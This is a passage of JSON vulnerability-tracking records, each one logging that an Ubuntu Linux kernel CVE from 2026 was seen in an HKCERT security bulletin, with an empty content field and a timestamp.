"2026-07-02T05:48:04.237362Z"}, {"uuid": "3ed5cc39-0829-45f7-baea-f2a467fc8f62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31478", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:48:08.806719Z"}, {"uuid": "faf23a75-2501-4c26-ba91-93d61829ecea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31532", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:48:11.040540Z"}, {"uuid": "2ca07070-7778-479e-914d-100167c2c961", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31581", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:48:28.746255Z"}, {"uuid": "2c5f8fe2-5647-4f86-89ce-6cf3827a9bde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31583", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:48:33.261921Z"}, {"uuid": "daaf4cfe-c50c-44d1-b2a0-859faf1f897a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31584", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:48:35.418950Z"}, {"uuid": "e1b9bcb5-bec5-4ee1-b711-6f8b977f39d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31615", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:49:45.928693Z"}, {"uuid": "342c5e17-2a61-405e-a616-7f228cab919d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31618", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:49:52.731520Z"}, {"uuid": "c33591df-686e-43ad-99d3-aacbae768fcf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31624", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:50:05.909190Z"}, {"uuid": "dd828533-bf8b-4b8f-89f8-6b5a429eab23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31626", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:50:10.239571Z"}, {"uuid": "07cedc07-3cb1-483e-9af6-396476add90d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31582", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:48:31.110307Z"}, {"uuid": "cf1be14d-d3ef-4376-bbb8-b1a91c424a86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31586", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:48:39.950813Z"}, {"uuid": "1ab0bd63-91ba-4049-a1b3-f5ea708dd024", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31591", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:48:52.213231Z"}, {"uuid": "a2399a6e-2ea7-4489-8de2-8d5a33f0b4ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31593", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:48:56.745496Z"}, {"uuid": "eb47aa58-dbc7-4629-a7e0-ac40e4057d55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31594", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:48:58.911634Z"}, {"uuid": "095715f0-857d-48e2-ad76-20f8b4298ba0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31448", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:48:06.635399Z"}, {"uuid": "becf3533-97f2-4de3-9da0-0fa6f8457dd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31607", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:49:27.989131Z"}, {"uuid": "bceb5a8f-92ea-423c-9ad1-476e5e33b7d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31402", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:47:57.670964Z"}, {"uuid": "dae1f74d-143f-4c60-9059-dd97fd0d5b30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31411", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:47:59.838686Z"}, {"uuid": "239ca06c-b7bd-45ef-a484-d8699965ae8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31418", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:48:02.015136Z"}, {"uuid": "e2d84067-fa1b-4021-a25f-565e77ee87e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31574", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:48:13.413191Z"}, {"uuid": "0da91556-11ae-4e32-82d4-28a74a14eaa6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31575", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:48:15.779941Z"}, {"uuid": "7d447cd2-6579-4b84-884e-c293cd2b8ea9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31576", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:48:17.956909Z"}, {"uuid": "dabab568-adb9-4b51-a35c-75763e877626", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31577", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:48:20.135981Z"}, {"uuid": "5ed4fb88-2f18-44a9-92b4-932ba6a42256", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31578", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:48:22.289720Z"}, {"uuid": "c08127b4-6e8a-42eb-a77a-0c8c27c81e40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31579", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:48:24.432765Z"}, {"uuid": "bad9099d-e624-456b-944a-f5dd9900e736", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31580", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:48:26.582419Z"}, {"uuid": "e4e10d0b-538c-4b48-8215-b08dd87e6cd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31585", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:48:37.575172Z"}, {"uuid": "be4ff5ab-7a03-4a7a-9629-d2a47f5840c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31587", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:48:42.552318Z"}, {"uuid": "1f8a6cf9-b7d2-4dd7-9e76-35c97945c662", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31588", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:48:45.723263Z"}, {"uuid": "2a7d4354-1944-4566-9a47-dd89d5d06e61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31589", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:48:47.871689Z"}, {"uuid": "d2cbf74f-833a-459e-a470-be4723587d8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31590", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:48:50.041432Z"}, {"uuid": "b61496c7-57ca-40b5-8513-a7bb2b2aa143", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31592", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:48:54.373163Z"}, {"uuid": "53196f6d-ec0a-46dc-ab90-cb23e5ad3e25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31595", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:49:01.070793Z"}, {"uuid": "8d64b939-ed3e-40c5-9ce9-65569655a248", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31596", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:49:03.204973Z"}, {"uuid": "662087be-aa89-436a-8d24-191dc5e3894b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31597", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:49:05.427912Z"}, {"uuid": "fc2fe588-ed02-499f-b0c3-f0a1e373ba55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31598", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:49:07.608203Z"}, {"uuid": "a21289fc-9033-43a6-b5a0-047191141bf5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31605", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:49:23.387529Z"}, {"uuid": "6af481d2-285a-4aba-9751-5893fb28671b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31610", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:49:34.967564Z"}, {"uuid": "0846b93c-f19c-4048-809c-6cc48f30a3eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31616", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:49:48.135653Z"}, {"uuid": "b517925b-5864-409f-942e-b69a5e56254b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31617", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:49:50.308362Z"}, {"uuid": "fc34ae5a-213b-4c3c-b519-d8f72e117ae4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31620", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:49:57.111574Z"}, {"uuid": "2e47e3f4-5938-4a5a-9ba4-6d379c7d506c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31628", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:50:14.560713Z"}, {"uuid": "2e3936b9-5cc7-4c7a-9434-16ccd5abddf2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31629", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:50:16.727226Z"}, {"uuid": "46b7637e-a3fa-46d9-9365-64d3cf1dac35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31637", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:50:21.091478Z"}, {"uuid": "a38887e2-332f-4528-b02b-4e54d7d90326", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31697", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:50:49.552682Z"}, {"uuid": "35d00411-edc7-44d4-9739-abb22c6dd962", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31599", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:49:09.778489Z"}, {"uuid": "dd2143c3-a968-4025-ad41-fb9c8c9a4f68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31600", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:49:11.929064Z"}, {"uuid": "1ba1c712-2b21-4854-ac41-ba3f1bacb4be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31601", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:49:14.079106Z"}, {"uuid": "a2f3eff5-c74b-4f09-a416-9677668e02da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31602", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:49:16.892361Z"}, {"uuid": "ab84da9d-09bb-46ba-ad87-8ba4f61bd212", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31603", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:49:19.059263Z"}, {"uuid": "16e3a63f-1d0a-4853-84e8-eb279c461f76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31604", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:49:21.224125Z"}, {"uuid": "16df6ff0-8038-49cf-a011-0488f05aa277", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31606", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:49:25.611267Z"}, {"uuid": "28529e11-26f4-4bfd-9749-9d7982b2b9a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31608", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:49:30.152396Z"}, {"uuid": "61f2106b-fe12-4869-9c39-6f6eb3425fdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31609", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:49:32.584744Z"}, {"uuid": "54d3eec0-c6df-4666-ae61-6a1857bbb3b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31611", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:49:37.155587Z"}, {"uuid": "985ae6b3-61f4-4390-9c7e-b9e5007256c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31612", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:49:39.313790Z"}, {"uuid": "44a35cf9-b9a7-4407-b659-03cfbd05ba71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31613", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:49:41.470138Z"}, {"uuid": "7e60e820-370f-46f1-ae83-f3a5ef34fde1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31614", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:49:43.736204Z"}, {"uuid": "a3fb243c-6bd5-4a49-9842-e929548b8a6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31619", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:49:54.890519Z"}, {"uuid": "ede5a4d8-442c-4141-ba40-b8ced53c4363", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31621", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:49:59.423699Z"}, {"uuid": "4edb887b-ec12-4af1-9287-51f6488ad0a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31622", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:50:01.586320Z"}, {"uuid": "b5cbecc8-8c40-40bb-9bbf-12ed79dd7b63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31623", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:50:03.747968Z"}, {"uuid": "a35c1a7a-8638-4581-92ce-c6f5c9c68b25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31625", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:50:08.070772Z"}, {"uuid": "8ea99b50-df0e-4f58-98cd-0e528eb49bce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31627", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:50:12.395902Z"}, {"uuid": "efca0b46-ed05-4417-8837-87922f60692e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31635", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:50:18.911252Z"}, {"uuid": "0796d139-43d5-43f7-8c90-14ed1f372d5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31649", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:50:23.249202Z"}, {"uuid": "11b811ee-1051-4393-b0c1-c82abd83ca1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31657", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:50:25.456182Z"}, {"uuid": "0bdcf0ce-5199-4fd9-aa25-eaac66731558", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31659", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:50:27.639362Z"}, {"uuid": "81fd9944-14cb-4ddd-a0a8-cb0f208efc2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31668", 